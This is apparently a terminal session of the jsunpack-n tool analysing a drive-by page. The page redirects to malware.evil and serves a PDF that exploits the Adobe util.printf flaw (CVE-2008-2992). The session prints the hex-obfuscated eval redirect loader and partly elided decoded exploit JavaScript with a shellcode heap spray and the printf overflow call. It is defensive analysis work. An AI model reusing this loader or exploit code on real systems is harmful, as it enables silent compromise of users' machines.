```
% ./jsunpack-n.py -Vau http://localhost/mal/
URL fetch localhost/mal/
    (referer=www.google.com/trends/hottrends)
    saved 3950 bytes to ./files/fetch_b8cb4e2f68aeb5c8d37a1414c18d38b20e204c3f

Processing ./files/fetch_b8cb4e2f68aeb5c8d37a1414c18d38b20e204c3f
Active Mode, fetching 1 new URLs
    fetching URL (var location) malware.evil/so131/so.html
    (referer=localhost/mal/)
    saved 112 bytes to ./files/fetch_907462344028fcb137e18b1d5aab9cf465e4c977

Active Mode, fetching 1 new URLs
    fetching URL (iframe) malware.evil/so131/e.pdf
    (referer=malware.evil/so131/so.html)
    saved 6571 bytes to ./files/fetch_8f725f78d67d162d133103b985406d6354562092

[nothing detected;children=malicious:10] localhost/mal/
    info: [decodingLevel=0] found JavaScript
    info: saved original parsed JavaScript to ./files/veryverbose_8494b97a39d511200d0f4dceb29c88ba5a1aef57 //[1]
    info: [decodingLevel=0] decoded 163 bytes (./files/decoding_3220f71f1fe31dd45fb90492304e2e8da2c0935c)
    info: [var location] URL=malware.evil/so131/so.html
    info: [decodingLevel=1] found JavaScript
    info: saved original parsed JavaScript to ./files/veryverbose_3220f71f1fe31dd45fb90492304e2e8da2c0935c //[2]
    [nothing detected;children=malicious:10] (var location) malware.evil/so131/so.html
        info: [iframe .] malware.evil/so131/e.pdf
        info: [0] no JavaScript
        [malicious:10] [PDF] (iframe) malware.evil/so131/e.pdf
            info: [decodingLevel=0] found JavaScript
            info: [decodingLevel=0] decoded 5355 bytes (./files/decoding_b88e4397bdb05c82426e6b1882b0731929efc60a)
            malicious: Utilprintf CVE-2008-2992 detected
            info: [decodingLevel=1] found JavaScript
            info: saved original parsed JavaScript to ./files/veryverbose_b88e4397bdb05c82426e6b1882b0731929efc60a //[3]
            info: [decodingLevel=1] decoded 1648973 bytes (./files/decoding_ce3d765602b797cd8a79b3e14b6b8a0ad5ed66d2)
            malicious: Alert detected //alert CVE-2008-2992 util.printf length (13,undefined)
            malicious: shellcode of length 516/258 (./files/shellcode_8102cac89b51cc2df540f35f4cdf850fc8c9a833)
            malicious: shellcode of length 1580/790 (./files/shellcode_af6d1dd6c50e6825d810d2c2908ef71e34a068f0)
            malicious: shellcode of length 522708/261354 (./files/shellcode_224bd5662d1fbe30e82dd076fff8081f515a8785)
            malicious: shellcode of length 2048/1024 (./files/shellcode_ae651cf57f5ca911adb872b3e8faa0d5f2a1665b)
            malicious: shellcode of length 20000/380081249 (./files/shellcode_e66ba57a24351236f2227779ef67544f763ab898)
            malicious: shellcode of length 1024/512 (./files/shellcode_30db4a5495230768c675cf8714fad10ed05d6668)
            malicious: shellcode of length 1540/770 (./files/shellcode_99c6a6494f97497c7a7b1d21f7ae9b238a6f3125)
            info: [2] no JavaScript
            info: [file] saved malware.evil/so131/e.pdf to (./files/original_8f725f78d67d162d133103b985406d6354562092)

[file] created ./files/fetch_b8cb4e2f68aeb5c8d37a1414c18d38b20e204c3f from localhost/mal/
[file] created ./files/veryverbose_8494b97a39d511200d0f4dceb29c88ba5a1aef57 from localhost/mal/
[file] created ./files/decoding_3220f71f1fe31dd45fb90492304e2e8da2c0935c from localhost/mal/
[file] created ./files/veryverbose_3220f71f1fe31dd45fb90492304e2e8da2c0935c from localhost/mal/
[file] created ./files/fetch_907462344028fcb137e18b1d5aab9cf465e4c977 from malware.evil/so131/so.html
[file] created ./files/fetch_8f725f78d67d162d133103b985406d6354562092 from malware.evil/so131/e.pdf
[file] created ./files/decoding_b88e4397bdb05c82426e6b1882b0731929efc60a from malware.evil/so131/e.pdf
[file] created ./files/veryverbose_b88e4397bdb05c82426e6b1882b0731929efc60a from malware.evil/so131/e.pdf
[file] created ./files/decoding_ce3d765602b797cd8a79b3e14b6b8a0ad5ed66d2 from malware.evil/so131/e.pdf
[file] created ./files/shellcode_8102cac89b51cc2df540f35f4cdf850fc8c9a833 from malware.evil/so131/e.pdf
[file] created ./files/shellcode_af6d1dd6c50e6825d810d2c2908ef71e34a068f0 from malware.evil/so131/e.pdf
[file] created ./files/shellcode_224bd5662d1fbe30e82dd076fff8081f515a8785 from malware.evil/so131/e.pdf
[file] created ./files/shellcode_ae651cf57f5ca911adb872b3e8faa0d5f2a1665b from malware.evil/so131/e.pdf
[file] created ./files/shellcode_e66ba57a24351236f2227779ef67544f763ab898 from malware.evil/so131/e.pdf
[file] created ./files/shellcode_30db4a5495230768c675cf8714fad10ed05d6668 from malware.evil/so131/e.pdf
[file] created ./files/shellcode_99c6a6494f97497c7a7b1d21f7ae9b238a6f3125 from malware.evil/so131/e.pdf
[file] created ./files/original_8f725f78d67d162d133103b985406d6354562092 from malware.evil/so131/e.pdf

% less ./files/veryverbose_8494b97a39d511200d0f4dceb29c88ba5a1aef57 //[1]
;
eval('\x76\x61\x72\x20\x5f\x30\x78\x38\x62\x32\x35\x3d\x5b\x22\x5c\x78\x33\x30\x5c\x78\x32\x45\x5c\x78\x33\x31\x5c\x78\x33\x44\x5c\x78\x32\x32\x5c\x78\x33\x32\x5c
\x78\x33\x41\x5c\x78\x32\x46\x5c\x78\x32\x46\x5c\x78\x33\x33\x5c\x78\x32\x45\x5c\x78\x33\x34\x5c\x78\x32\x46\x5c\x78\x33\x35\x5c\x78\x32\x46\x5c\x78\x33\x36\x5c\x78\x32\x45\x5c
\x78\x33\x37\x5c\x78\x32\x32\x5c\x78\x33\x42\x22\x2c\x22\x5c\x78\x37\x43\x22\x2c\x22\x5c\x78\x37\x33\x5c\x78\x37\x30\x5c\x78\x36\x43\x5c\x78\x36\x39\x5c\x78\x37\x34\x22\x2c
\x22\x5c\x78\x37\x37\x5c\x78\x36\x39\x5c\x78\x36\x45\x5c\x78\x36\x34\x5c\x78\x36\x46\x5c\x78\x37\x37\x5c\x78\x37\x43\x5c\x78\x36\x43\x5c\x78\x36\x46\x5c\x78\x36\x33\x5c
\x78\x36\x31\x5c\x78\x37\x34\x5c\x78\x36\x39\x5c\x78\x36\x46\x5c\x78\x36\x45\x5c\x78\x37\x43\x5c\x78\x36\x38\x5c\x78\x37\x34\x5c\x78\x37\x34\x5c\x78\x37\x30\x5c\x78\x37\x43\x5c
\x78\x36\x44\x5c\x78\x36\x31\x5c\x78\x36\x43\x5c\x78\x37\x37\x5c\x78\x36\x31\x5c\x78\x37\x32\x5c\x78\x36\x35\x5c\x78\x37\x43\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x39\x5c
\x78\x36\x43\x5c\x78\x37\x43\x5c\x78\x37\x33\x5c\x78\x36\x46\x5c\x78\x33\x31\x5c\x78\x33\x33\x5c\x78\x33\x31\x5c\x78\x37\x43\x5c\x78\x37\x33\x5c\x78\x36\x46\x5c\x78\x37\x43\x5c
\x78\x36\x38\x5c\x78\x37\x34\x5c\x78\x36\x44\x5c\x78\x36\x43\x22\x2c\x22\x5c\x78\x37\x32\x5c\x78\x36\x35\x5c\x78\x37\x30\x5c\x78\x36\x43\x5c\x78\x36\x31\x5c\x78\x36\x33\x5c
\x78\x36\x35\x22\x2c\x22\x22\x2c\x22\x5c\x78\x35\x43\x5c\x78\x37\x37\x5c\x78\x32\x42\x22\x2c\x22\x5c\x78\x35\x43\x5c\x78\x36\x32\x22\x2c\x22\x5c\x78\x36\x37\x22\x5d\x3b
\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x32\x2c\x5f
\x30\x78\x63\x63\x35\x37\x78\x33\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x36\x29\x7b\x5f
\x30\x78\x63\x63\x35\x37\x78\x35\x3d\x53\x74\x72\x69\x6e\x67\x3b\x69\x66\x28\x21\x5f\x30\x78\x38\x62\x32\x35\x5b\x35\x5d\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x34\x5d\x5d\x28\x2f
\x5e\x2f\x2c\x53\x74\x72\x69\x6e\x67\x29\x29\x7b\x77\x68\x69\x6c\x65\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x2d\x2d\x29\x7b\x5f\x30\x78\x63\x63\x35\x37\x78\x36\x5b\x5f
\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x3d\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x7c\x7c\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x3b\x7d
\x20\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x3d\x5b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x5f
\x30\x78\x63\x63\x35\x37\x78\x36\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x5d\x3b\x7d\x20\x5d\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e
\x20\x28\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x5f\x30\x78\x38\x62\x32\x35\x5b\x36\x5d\x3b\x7d\x20\x3b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x3d\x31\x3b\x7d\x20\x3b\x77\x68\x69\x6c
\x65\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x2d\x2d\x29\x7b\x69\x66\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x29\x7b\x5f
\x30\x78\x63\x63\x35\x37\x78\x31\x3d\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x34\x5d\x5d\x28\x20\x6e\x65\x77\x20\x52\x65\x67\x45\x78\x70\x28\x5f
\x30\x78\x38\x62\x32\x35\x5b\x37\x5d\x2b\x5f\x30\x78\x63\x63\x35\x37\x78\x35\x28\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x29\x2b\x5f\x30\x78\x38\x62\x32\x35\x5b\x37\x5d\x2c\x5f
\x30\x78\x38\x62\x32\x35\x5b\x38\x5d\x29\x2c\x5f\x30\x78\x63\x63\x35\x37\x78\x34\x5b\x5f\x30\x78\x63\x63\x35\x37\x78\x33\x5d\x29\x3b\x7d\x20\x3b\x7d\x20\x3b
\x72\x65\x74\x75\x72\x6e\x20\x5f\x30\x78\x63\x63\x35\x37\x78\x31\x3b\x7d\x20\x28\x5f\x30\x78\x38\x62\x32\x35\x5b\x30\x5d\x2c\x38\x2c\x38\x2c\x5f\x30\x78\x38\x62\x32\x35\x5b
\x33\x5d\x5b\x5f\x30\x78\x38\x62\x32\x35\x5b\x32\x5d\x5d\x28\x5f\x30\x78\x38\x62\x32\x35\x5b\x31\x5d\x29\x2c\x30\x2c\x7b\x7d\x29\x29\x3b');

% less ./files/veryverbose_3220f71f1fe31dd45fb90492304e2e8da2c0935c //[2]
//jsunpack.location 'http://malware.evil/so131/so.html' where windowlocation = '[object Object]'
//jsunpack.url var location = http://malware.evil/so131/so.html


% less ./files/decoding_b88e4397bdb05c82426e6b1882b0731929efc60a //[3]
var XizcDkETDN = unescape("%u3137%u42f8%ub99b%u782d%u487b%u7093%ue23b%ud40b%u8425%u3ff9%ubab4%u0471%ub52f%u339f%u7cf5%u1434%u7a4f%u3c4a%u1577%u99b8%
....
%u7951%u371b%u3061%u1e01%u9dea%u22d0%u1e77%u600f%u9d8e%u19a5%ubd75%u1ccc%u7931%u6d3d%uec2a%uc241%u254b");
var jjjeQCrEvKIn ="";
for (vnFoGbmiDVYLs=128;vnFoGbmiDVYLs>=0;--vnFoGbmiDVYLs) jjjeQCrEvKIn += unescape("%ub6f8%u37b2");
...
a+SjNPApFlMiUSfAxqgeNCXyMrsoIOzyPjvqPswtrwwXRBtNUhaPRbrStsGRxdImwVnMZDhylEXRMKenRdSRudbxtoa+EkByLgPHhNRjPFjfOkBgSIAPhlIFAqRFRlBQaBVXYvvlLGLXLRYmmScynmgrtUjeeRyinoigRUapYLiflGW;
ukOfYOzZJEyhiQAspPCcnyYIGhiBnTVUDqkBu = new Array();
for (biAMPccnijmdPqmhurFhueIfhiJEITpjpRlrPZpsepAxsmTZpsepHNftMzyCClHlwnbNQRlHEZIxNHxqaHKB] =  IOdjpbzciZoSnnkNapyoAIDAzHGlszbHgWcTdRuRhCGdzzytmRtmYAQoWCRjHBHEqfR;
                util.printf("%45000.45000f", 0);
```